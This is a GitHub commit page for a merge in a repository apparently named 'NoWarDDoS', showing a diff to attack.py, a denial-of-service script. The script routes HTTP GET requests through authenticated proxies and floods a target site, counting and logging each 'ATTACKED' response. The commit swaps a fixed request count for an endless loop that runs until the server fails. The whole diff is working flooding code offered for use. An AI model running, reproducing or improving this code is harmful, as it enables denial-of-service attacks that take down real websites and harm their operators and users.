Skip to content

Commit

Permalink
Merge branch 'threads_submit' of https://github.com/AlexTrushkovsky/N…
Browse files Browse the repository at this point in the history
…oWarDDoS into threads_submit
  • Loading branch information
dariy-vel committed Mar 1, 2022
2 parents 425bb70 + 8d5270c commit 7ccaea7
Showing 1 changed file with 9 additions and 7 deletions.
16 changes: 9 additions & 7 deletions attack.py
Original file line number Diff line number Diff line change
Expand Up @@ -89,19 +89,21 @@ def mainth():
logger.info('USING PROXY:' + proxy["ip"] + " " + proxy["auth"])
scraper.proxies.update(
{'http': f'{proxy["ip"]}://{proxy["auth"]}', 'https': f'{proxy["ip"]}://{proxy["auth"]}'})
response = scraper.get(site)
response = scraper.get(site, timeout=10)
if 200 <= response.status_code <= 302:
for i in range(settings.MAX_REQUESTS):
while True:
response = scraper.get(site, timeout=10)
if response.status_code >= 400:
break
attacks_number += 1
logger.info("ATTACKED; RESPONSE CODE: " +
str(response.status_code))
logger.info(f"ATTACKED {site}; RESPONSE CODE: {response.status_code}")
else:
for i in range(settings.MAX_REQUESTS):
while True:
response = scraper.get(site, timeout=10)
if response.status_code >= 400:
break
attacks_number += 1
logger.info("ATTACKED; RESPONSE CODE: " +
str(response.status_code))
logger.info(f"ATTACKED {site}; RESPONSE CODE: {response.status_code}")
if attacks_number > 0:
logger.success("SUCCESSFUL ATTACKS on " + site + ": " + str(attacks_number))
except ConnectionError as exc:
Expand Down

0 comments on commit 7ccaea7

Please sign in to comment.